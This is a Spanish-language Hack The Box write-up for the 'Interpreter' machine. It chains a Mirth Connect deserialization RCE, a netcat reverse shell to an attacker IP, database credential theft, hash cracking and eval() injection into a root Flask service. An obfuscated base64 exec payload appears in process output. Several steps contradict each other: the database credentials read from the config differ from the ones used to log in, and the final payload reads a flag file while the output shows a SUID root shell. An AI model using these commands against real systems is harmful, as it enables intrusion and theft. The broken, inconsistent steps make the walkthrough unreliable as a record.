Interpreter WriteUp

Table of Contents

Interpreter WriteUp

Interpreter es una máquina de dificultad 🟨 Media de la plataforma Hack The Box, Season 10. La cadena de ataque combina la explotación de Mirth Connect 4.4.0 mediante deserialización Java insegura para obtener RCE sin autenticación, extracción de credenciales desde la base de datos interna, crackeo de un hash PBKDF2-HMAC-SHA256 y escalada de privilegios abusando de un servicio Flask con inyección en f-strings de Python.

🗺️ Cadena de Ataque

Reconocimiento → Puertos 22, 80, 443
      │
      ▼
Enumeración web → Mirth Connect 4.4.0 (via JNLP)
      │
      ▼
CVE-2023-43208 → Deserialización Java insegura → RCE como mirth
      │
      ▼
/usr/local/mirthconnect/conf/mirth.properties → Credenciales BD
      │
      ▼
MariaDB (mc_bdd_prod) → Hash PBKDF2-HMAC-SHA256 de sedric
      │
      ▼
Hashcat (modo 10900) → snowflake1 → SSH como sedric
      │
      ▼
/usr/local/bin/notif.py → Flask + eval() en f-strings → SSTI
      │
      ▼
SUID bash → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

Antes de empezar, añadimos la IP de la máquina al fichero /etc/hosts:

echo "10.129.244.184 interpreter.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Hacemos el reconocimiento en dos fases, primero descubrimos los puertos abiertos y luego lanzamos los scripts de detección sobre ellos.

Fase 1 - Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv interpreter.htb

Fase 2 - Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv interpreter.htb

Los puertos que encontramos:

PuertoServicioDetalle
22SSHOpenSSH 9.2p1 (Debian 12)
80HTTPJetty — Mirth Connect
443HTTPSJetty — Mirth Connect (SSL)

Enumeración Web

Al acceder a http://interpreter.htb vemos la interfaz de administración de Mirth Connect. Para identificar la versión exacta descargamos el fichero JNLP:

curl -sk https://interpreter.htb/webstart.jnlp | grep -i version
<argument>-version</argument>
<argument>4.4.0</argument>

🎯 Mirth Connect 4.4.0 — versión vulnerable a CVE-2023-43208 (RCE sin autenticación).

Interpreter WriteUp

💉 Acceso Inicial — CVE-2023-43208

¿Qué es CVE-2023-43208?

🧠 Mirth Connect < 4.4.1 contiene una vulnerabilidad de ejecución remota de código sin autenticación debida a la deserialización Java insegura en el endpoint /api/users. La clase XmlMessageBodyReader procesa peticiones XML antes de autenticar al usuario, permitiendo incluir clases peligrosas como InvokerTransformer de Apache Commons Collections para ejecutar código arbitrario en el servidor.

Descargamos el PoC:

git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT
cd CVE-2023-43208-EXPLOIT
pip install -r requirements.txt

Preparamos el listener:

penelope -p 8443

Ejecutamos el exploit:

python3 CVE-2023-43208.py -u https://interpreter.htb -c "nc -c sh 10.10.14.100 8443"
The target appears to have executed the payload.

En nuestro listener recibimos la conexión:

mirth@interpreter:/usr/local/mirthconnect$ hostname
interpreter
mirth@interpreter:/usr/local/mirthconnect$ whoami
mirth

Shell obtenida como mirth.

🔑 Extracción de Credenciales

Fichero de configuración de Mirth Connect

Mirth Connect almacena la configuración de la base de datos en texto claro dentro de su directorio de instalación:

cat /usr/local/mirthconnect/conf/mirth.properties
database = mysql
database.url = jdbc:mysql://localhost/mc_bdd_prod
database.username = mirth
database.password = Ir0nV@ult2024!

Extracción del hash desde MariaDB

Nos conectamos a la base de datos con las credenciales encontradas:

mysql -u mirthdb -p'MirthPass123!' -h 127.0.0.1 mc_bdd_prod

Enumeramos las tablas:

mysql> show tables;
+------------------------+
| Tables_in_mc_bdd_prod  |
+------------------------+
| PERSON                 |
| PERSON_PASSWORD        |
| ...                    |
+------------------------+

Extraemos los usuarios y sus hashes:

mysql> SELECT CONCAT(p.USERNAME, ':', pp.PASSWORD) FROM PERSON p JOIN PERSON_PASSWORD pp ON p.ID = pp.PERSON_ID;
+-----------------------------------------------------------------+
| CONCAT(p.USERNAME, ':', pp.PASSWORD)                            |
+-----------------------------------------------------------------+
| sedric:u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== |
+-----------------------------------------------------------------+

💡 Los hashes usan PBKDF2-HMAC-SHA256 con 600.000 iteraciones, que corresponde al modo 10900 de hashcat.

Cracking del Hash

Guardamos el hash en formato compatible con hashcat:

# [salt]+[hash]
echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd -p -c 256
bbff8b0413949da762c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb

echo 'bbff8b0413949da7' | xxd -r -p | base64
u/+LBBOUnac=

echo '62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb' | xxd -r -p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
    
echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' > hash.txt

Lanzamos hashcat:

hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
$pbkdf2-sha256$600000$rW5PXIV9BSGG0jAMdVrTuQ$...:snowflake1

Session..........: hashcat
Status...........: Cracked

🔑 Credenciales obtenidas: sedric:snowflake1

🔀 Movimiento Lateral — SSH como sedric

ssh sedric@interpreter.htb # snowflake1

🚩 User Flag

cat ~/user.txt

🧗‍♂️ Escalada de Privilegios — Inyección en f-strings de Python

Enumeración del sistema

Buscamos scripts o servicios de root que podamos abusar:

ps aux | grep python
root        3352  0.0  0.6 400212 24196 ?        Ssl  17:19   0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        3570  0.0  0.7  39872 31076 ?        Ss   17:19   0:00 /usr/bin/python3 /usr/local/bin/notif.py
cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)
sedric@interpreter:~$ ps aux | grep python
root        3352  0.0  0.6 400212 24196 ?        Ssl  17:19   0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        3570  0.0  0.7  39872 31076 ?        Ss   17:19   0:00 /usr/bin/python3 /usr/local/bin/notif.py
mirth       3975  0.0  0.3  18732 12288 ?        S    17:45   0:00 /usr/bin/python3 -Wignore -c import base64,zlib;exec(zlib.decompress(base64.b64decode("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")))
sedric      4078  0.0  0.0   6340  2144 pts/1    S+   18:03   0:00 grep python
sedric@interpreter:~$ cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

⚠️ Hallazgo clave: El servicio Flask ejecuta eval() sobre la entrada del usuario sin ningún tipo de validación. Al estar corriendo como root, podemos ejecutar código arbitrario con máximos privilegios.

Verificamos que el servicio está activo en localhost:

ss -tlnp | grep 54321
LISTEN 0      128        127.0.0.1:54321      0.0.0.0:*

¿Qué es la inyección en f-strings de Python?

🧠 Las f-strings de Python son cadenas de formato que evalúan expresiones en tiempo de ejecución. Cuando se combina una f-string con eval() sobre entrada controlada por el usuario, el resultado equivale a una inyección de código Python directa: cualquier expresión Python válida que el atacante introduzca como message será ejecutada en el contexto del proceso, que en este caso es root.

Explotación

Creamos un binario bash con el bit SUID activado para persistir el acceso como root:

python3 - << 'EOF'
import requests

url = "http://127.0.0.1:54321/addPatient"
xml = """<patient>
<firstname>A</firstname>
<lastname>B</lastname>
<sender_app>X</sender_app>
<timestamp>t</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""

try:
    r = requests.post(url, data=xml)
    print(r.text)
except Exception as e:
    print("Error:", e)
EOF
Patient A B (M), 26 years old, received from X at t

Lanzamos la shell de root:

python3 - << 'EOF'
import requests

url = "http://127.0.0.1:54321/addPatient"

xml = """<patient>
<firstname>{open("/root/root.txt").read()}</firstname>
<lastname>B</lastname>
<sender_app>X</sender_app>
<timestamp>t</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""

r = requests.post(url, data=xml)
print(r.text)
EOF
rootbash-5.2# id
uid=1000(sedric) gid=1000(sedric) euid=0(root) egid=0(root) groups=0(root),...

Shell de root obtenida.

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1ReconocimientonmapPuertos 22, 80 y 443 (Mirth Connect)
2Identificación de versióncurl + JNLPMirth Connect 4.4.0 → CVE-2023-43208
3RCE sin autenticaciónCVE-2023-43208 PoCShell como mirth
4Extracción de credenciales BDcat mirth.propertiesAcceso a MariaDB
5Extracción de hashesmysqlHash PBKDF2-HMAC-SHA256 de sedric
6Cracking de hashhashcat -m 10900Contraseña snowflake1
7Movimiento lateralsshAcceso como sedric + User Flag 🚩
8Análisis de servicio rootfind + catnotif.py con eval() en f-strings
9Inyección Python / SSTIcurlSUID bash en /tmp/rootbash
10Escalada a root/tmp/rootbash -pShell como root + Root Flag 🏴

Un saludo, nos vemos en el próximo challenge.